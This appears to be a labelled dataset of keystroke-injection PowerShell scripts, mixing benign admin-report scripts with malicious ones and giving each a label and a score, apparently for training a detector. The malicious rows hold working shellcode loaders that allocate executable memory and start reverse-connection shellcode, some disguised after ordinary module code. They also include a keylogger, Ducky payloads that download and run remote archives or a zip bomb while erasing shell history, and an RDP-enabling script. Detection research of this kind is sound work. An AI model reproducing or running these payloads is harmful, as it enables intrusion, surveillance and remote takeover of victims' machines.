| Out-String enter $processor.Logger.LogError($exceptionMessage) enter throw enter } enter } enter enter $logger = New-AsrLoggerInstance -CommandPath $PSCommandPath enter $asrCommon = New-AsrCommonInstance -Logger $logger enter $processor = New-CsvProcessorInstance -Logger $logger -ProcessItemFunction $function:ProcessItem enter $processor.ProcessFile($CsvFilePath) enter enter $A72 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $A72 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x00,0xae,0x72,0xa1,0xd9,0xd0,0xd9,0x74,0x24,0xf4,0x5e,0x33,0xc9,0xb1,0x47,0x83,0xc6,0x04,0x31,0x56,0x0f,0x03,0x56,0x0f,0x4c,0x87,0x5d,0xe7,0x12,0x68,0x9e,0xf7,0x72,0xe0,0x7b,0xc6,0xb2,0x96,0x08,0x78,0x03,0xdc,0x5d,0x74,0xe8,0xb0,0x75,0x0f,0x9c,0x1c,0x79,0xb8,0x2b,0x7b,0xb4,0x39,0x07,0xbf,0xd7,0xb9,0x5a,0xec,0x37,0x80,0x94,0xe1,0x36,0xc5,0xc9,0x08,0x6a,0x9e,0x86,0xbf,0x9b,0xab,0xd3,0x03,0x17,0xe7,0xf2,0x03,0xc4,0xbf,0xf5,0x22,0x5b,0xb4,0xaf,0xe4,0x5d,0x19,0xc4,0xac,0x45,0x7e,0xe1,0x67,0xfd,0xb4,0x9d,0x79,0xd7,0x85,0x5e,0xd5,0x16,0x2a,0xad,0x27,0x5e,0x8c,0x4e,0x52,0x96,0xef,0xf3,0x65,0x6d,0x92,0x2f,0xe3,0x76,0x34,0xbb,0x53,0x53,0xc5,0x68,0x05,0x10,0xc9,0xc5,0x41,0x7e,0xcd,0xd8,0x86,0xf4,0xe9,0x51,0x29,0xdb,0x78,0x21,0x0e,0xff,0x21,0xf1,0x2f,0xa6,0x8f,0x54,0x4f,0xb8,0x70,0x08,0xf5,0xb2,0x9c,0x5d,0x84,0x98,0xc8,0x92,0xa5,0x22,0x08,0xbd,0xbe,0x51,0x3a,0x62,0x15,0xfe,0x76,0xeb,0xb3,0xf9,0x79,0xc6,0x04,0x95,0x84,0xe9,0x74,0xbf,0x42,0xbd,0x24,0xd7,0x63,0xbe,0xae,0x27,0x8c,0x6b,0x5a,0x2d,0x1a,0x34,0x2a,0x5e,0x00,0x5c,0x4f,0xa1,0xb5,0x26,0xc6,0x47,0xe5,0x08,0x89,0xd7,0x45,0xf9,0x69,0x88,0x2d,0x13,0x66,0xf7,0x4d,0x1c,0xac,0x90,0xe7,0xf3,0x19,0xc8,0x9f,0x6a,0x00,0x82,0x3e,0x72,0x9e,0xee,0x00,0xf8,0x2d,0x0e,0xce,0x09,0x5b,0x1c,0xa6,0xf9,0x16,0x7e,0x60,0x05,0x8d,0x15,0x8c,0x93,0x2a,0xbc,0xdb,0x0b,0x31,0x99,0x2b,0x94,0xca,0xcc,0x20,0x1d,0x5f,0xaf,0x5e,0x62,0x8f,0x2f,0x9e,0x34,0xc5,0x2f,0xf6,0xe0,0xbd,0x63,0xe3,0xee,0x6b,0x10,0xb8,0x7a,0x94,0x41,0x6d,0x2c,0xfc,0x6f,0x48,0x1a,0xa3,0x90,0xbf,0x9a,0x9f,0x46,0xf9,0xe8,0xf1,0x5a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Z9ov=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Z9ov.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Z9ov,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1772146e-05,0.99994826
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_qsqrgpsx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3733813e-05
"win+r powershell enter param( [Parameter(Mandatory=$true)] [ValidateNotNullOrEmpty()] [string] $Se enter rverList, [Parameter(Mandatory=$false)] [string] $OutputPath=([Environment]: enter :GetFolderPath(""MyDocuments""))) if((Test-Path $OutputPath) -eq $false) { throw enter ""Invalid -OutputPath, please use a valid file path"" enter enter",1,1,0.00076329015,0.9992367
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xb0,0xe4,0x28,0x14,0x68,0x02,0x00,0x01,0xbc,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Zip bomb tux style enter REM Author: FalsePhilosopher enter REM Target: Unix-like tested on kubuntu 22.04 enter REM Props: Hak5, strippers and memes enter REM Version: 1.0 enter REM Category: Prank enter REM zipbomb I found and thought I would have some fun with. Covers tracks, opens a background download/unzip, and closes the terminal for no trace. This version launches one in tmp, $HOME and /dev/shm enter DELAY 300 enter REM Minimize all windows as that ensures launch happens smoother and when the terminal is launched everything else is relaunched for no trace of funny business. enter WINDOWS d enter DELAY 300 enter CTRL-ALT t enter DELAY 1500 enter REM sneak +1 don't delete the whole history or mess with size settings, just turn history off and delete the history change entry ;) enter STRING base64 -d <<< c2V0ICtvIGhpc3RvcnkK | sh enter ENTER enter DELAY 500 enter REM FIRE IN THE HOLE! enter STRING base64 -d <<< Y2QgL3RtcC8gJiYgbm9odXAgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vRmFsc2VQaGlsb3NvcGhlci9CYWRVU0ItUGxheWdyb3VuZC9yYXcvbWFpbi9EdWNreS9VU0JSdWJiZXJkdWNreS9saWJyYXJ5L3ByYW5rL1VuaXgtbGlrZS9 enter ENTER enter DELAY 500 enter STRING base64 -d <<< aGlzdG9yeSB8IGdyZXAgaGlzdG9yeSAmJiBsaW5lPSQoaGlzdG9yeSB8IGdyZXAgaGlzdG9yeSB8IGF3ayAneyBwcmludCAkMSB9JykgJiYgaGlzdG9yeSAtZCAkbGluZSAmJiBzZXQgLW8gaGlzdG9yeSAmJiBleGl0Cg== | sh enter ENTER enter DUCKY_REAL_END enter",1,1,6.327358e-05,0.9999367
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_3ka8cw4y"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 3."" enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_path_entries.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.439319e-05
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: JumpScare 2.0 enter REM Author: I am Jakoby enter REM Description: This is a one liner payload that will execute and wait until a mouse movement is detected and do a jumpscare enter REM Target: Windows 10, 11 enter REM -------------------------------------------------------------------------------------- enter REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW. enter REM -------------------------------------------------------------------------------------- enter DELAY 2000 enter GUI r enter DELAY 500 enter STRING powershell -w h -NoP -NonI -Ep Bypass $D=""$env:tmp"";irm -Uri 'https://jakoby.lol/kiv' -O ""$D\js.zip"";Expand-Archive ""$D\js.zip"" -Des $D -Force;. ""$D\js\js.ps1"" enter ENTER enter DUCKY_REAL_END enter",1,1,6.186273e-05,0.99993813
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_2qg3mv2g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter",0,0,0.9999658,3.4238765e-05
win+r powershell enter DUCKY_REAL_BEGIN enter REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) enter REM Description: Activates Remote Desktop. enter REM Version: 1.0 enter REM Category: Execution enter DELAY 750 enter WINDOWS d enter DELAY 1500 enter WINDOWS r enter DELAY 1500 enter STRING powershell Start-Process powershell -Verb runAs enter ENTER enter DELAY 750 enter LEFTARROW enter ENTER enter DELAY 1200 enter ALT y enter DELAY 1200 enter GUI UP enter DELAY 1200 enter STRING Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0;Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\ enter ENTER enter DUCKY_REAL_END enter,1,1,6.0392093e-05,0.99993956
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_zvii4396"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 10 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_memory_10.txt"") -Encoding UTF8 enter",0,0,0.9999653,3.464e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_y1q173uj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.txt"") -Encoding UTF8 enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999645,3.556314e-05
"win+r enter powershell enter enter enter function New-LabVM{ enter [cmdletbinding()] enter param([string][Parameter(Mandatory=$true)]$VMName enter ,[string][Parameter(Mandatory=$true)]$VMPath enter ,[string][Parameter(Mandatory=$true)]$VHDPath enter ,[string[]][Parameter(Mandatory=$true)]$VMSwitches enter ,[string[]]$ISOs enter ,[string]$VMSource enter ) enter try{ enter If(!([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] ""Administrator"")){ enter throw 'Function needs to run from an elevated session' enter } enter if(!(Test-Path $VHDPath)){throw ""Invalid value for `$VHDPath($VHDPath).""} enter if(!(Test-Path $VMPath)){throw ""Invalid value for `$VHDPath($VHDPath).""} enter if($VMSwitches){ enter $VMSwitches | ForEach-Object{If(!(Get-VMSwitch -Name $_ -ErrorAction SilentlyContinue)){throw ""Invalid Virtual Switch $_""}} enter } enter enter if($ISOs){ enter $ISOs | ForEach-Object{If(!(Get-VMSwitch -Name $_ -ErrorAction SilentlyContinue)){throw ""Invalid ISO $_""}} enter } enter enter $VHDFile = Join-Path -Path $VHDPath -ChildPath ""$VMName.vhdx"" enter $VMFile = Join-Path -Path $VMPath -ChildPath ""$VMName.vhdx"" enter enter if($VMSource){ enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Creating $VHDFile from $VMSource ..."" enter Copy-Item $VMSource $VHDFile enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Setting boot order to VHD first..."" enter $StartOrder = @(""IDE"",""CD"",""LegacyNetworkAdapter"",""Floppy"") enter } enter else{ enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Creating empty $VHDFile ($VHDSize GB) ..."" enter $VHDSizeBytes = $VHDSizeGB*1GB enter New-VHD -Path $VHDFile -SizeBytes $VHDSizeBytes -Dynamic enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Setting boot order to DVD first..."" enter $StartOrder = @(""CD"",""IDE"",""LegacyNetworkAdapter"",""Floppy"") enter } enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Creating $VMName..."" enter New-VM -Name $VMName -BootDevice CD -Generation 1 -Path $VMPath -SwitchName $VMSwitches[0] enter Set-VMBios -VMName $VMName -StartupOrder $StartOrder enter Add-VMHardDiskDrive -VMName $VMName -Path $VHDFile -ControllerNumber 0 -ControllerLocation 0 enter foreach($VMSwitch in $VMSwitches){ enter enter if($VMSwitch -eq $VMSwitches[0]){ enter Rename-VMNetworkAdapter -VMName $VMName -Name 'Network Adapter' -NewName $VMSwitch enter } enter else{ enter Add-VMNetworkAdapter -VMName $VMName -Name $VMSwitch -SwitchName $VMSwitch enter } enter } enter enter foreach($ISO in $ISOs){ enter if($ISO -eq $ISOs[0]){ enter Set-VMDvdDrive -vmname $VMName -Path $ISO -ToControllerNumber 1 -ToControllerLocation 0 enter } enter else{ enter Add-VMDvdDrive -VMName $VMName -Path $ISO -ControllerNumber 1 -ControllerLocation $ISOs.IndexOf($ISO) enter } enter } enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]Starting $VMName..."" enter $NewVM = Get-VM -Name $VMName enter $NewVM | Start-VM enter enter Write-Verbose ""[$(Get-Date -Format 'HH:mm:ss')]$VMName complete."" enter return $NewVM enter } enter catch{ enter Write-Error $Error[0] enter return enter } enter } enter enter function Remove-LabVM{ enter param([string]$VMName) enter enter $CurrVM = Get-VM -Name $VMName enter enter if($CurrVM.State -eq 'Running'){ enter $CurrVM | Stop-VM enter } enter enter foreach($vhd in $CurrVM.HardDrives.Path){ enter if(Test-Path $vhd){ enter Remove-Item -Path $vhd -force enter } enter } enter enter Remove-VM -Name $VMName -Force enter enter if(Test-Path $CurrVM.ConfigurationLocation){ enter Remove-Item -Path $CurrVM.ConfigurationLocation -Recurse -Force enter } enter enter if(Test-Path $CurrVM.SnapshotFileLocation){ enter Remove-Item -Path $CurrVM.ConfigurationLocation -Recurse -Force enter } enter enter if(Test-Path $CurrVM.Path){ enter Remove-Item -Path $CurrVM.ConfigurationLocation -Recurse -Force enter } enter } enter enter",0,0,0.9983822,0.0016177385
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_l2din0zi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4175544e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_be4ln4pr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4676224e-05
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install microsoft-office-deployment enter A enter enter enter,0,0,0.99996006,3.998911e-05
"win+r enter powershell enter enter enter  enter $commonParam = @{ enter HelpFile = (Resolve-Path ""$($script:ModuleRoot)\en-us\PSFramework.dll-Help.xml"") enter Module = $ExecutionContext.SessionState.Module enter } enter enter Import-PSFCmdlet @commonParam -Name ConvertTo-PSFHashtable -Type ([PSFramework.Commands.ConvertToPSFHashtableCommand]) enter Import-PSFCmdlet @commonParam -Name Invoke-PSFCallback -Type ([PSFramework.Commands.InvokePSFCallbackCommand]) enter Import-PSFCmdlet @commonParam -Name Invoke-PSFProtectedCommand -Type ([PSFramework.Commands.InvokePSFProtectedCommand]) enter Import-PSFCmdlet @commonParam -Name Remove-PSFNull -Type ([PSFramework.Commands.RemovePSFNullCommand]) enter Import-PSFCmdlet @commonParam -Name Select-PSFObject -Type ([PSFramework.Commands.SelectPSFObjectCommand]) enter Import-PSFCmdlet @commonParam -Name Set-PSFConfig -Type ([PSFramework.Commands.SetPSFConfigCommand]) enter Import-PSFCmdlet @commonParam -Name Test-PSFShouldProcess -Type ([PSFramework.Commands.TestPSFShouldProcessCommand]) enter Import-PSFCmdlet @commonParam -Name Write-PSFMessage -Type ([PSFramework.Commands.WritePSFMessageCommand]) enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x67,0x68,0x02,0x00,0x02,0x9a,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x75,0xee,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0742176e-05,0.9999492
"win+r enter powershell enter enter enter  enter function Start-KeyLogger($Path = ""$env:temp\keylogger.txt"") enter { enter $signatures = @' enter [DllImport(""user32.dll"", CharSet=CharSet.Auto, ExactSpelling=true)] enter public static extern short GetAsyncKeyState(int virtualKeyCode); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int GetKeyboardState(byte[] keystate); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int MapVirtualKey(uint uCode, int uMapType); enter [DllImport(""user32.dll"", CharSet=CharSet.Auto)] enter public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); enter '@ enter $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru enter $null = New-Item -Path $Path -ItemType File -Force enter enter try enter { enter Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red enter while ($true) enter { enter Start-Sleep -Milliseconds 40 enter for ($ascii = 9; $ascii -le 254; $ascii++) enter { enter enter $state = $API::GetAsyncKeyState($ascii) enter if ($state -eq -32767) enter { enter $null = [console]::CapsLock enter $virtualKey = $API::MapVirtualKey($ascii, 3) enter $kbstate = New-Object Byte[] 256 enter $checkkbstate = $API::GetKeyboardState($kbstate) enter $mychar = New-Object -TypeName System.Text.StringBuilder enter $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) enter enter if ($success) enter { enter enter [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) enter } enter } enter } enter } enter } enter finally enter { enter enter notepad $Path enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x01,0x3c,0x68,0x02,0x00,0x04,0xd2,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,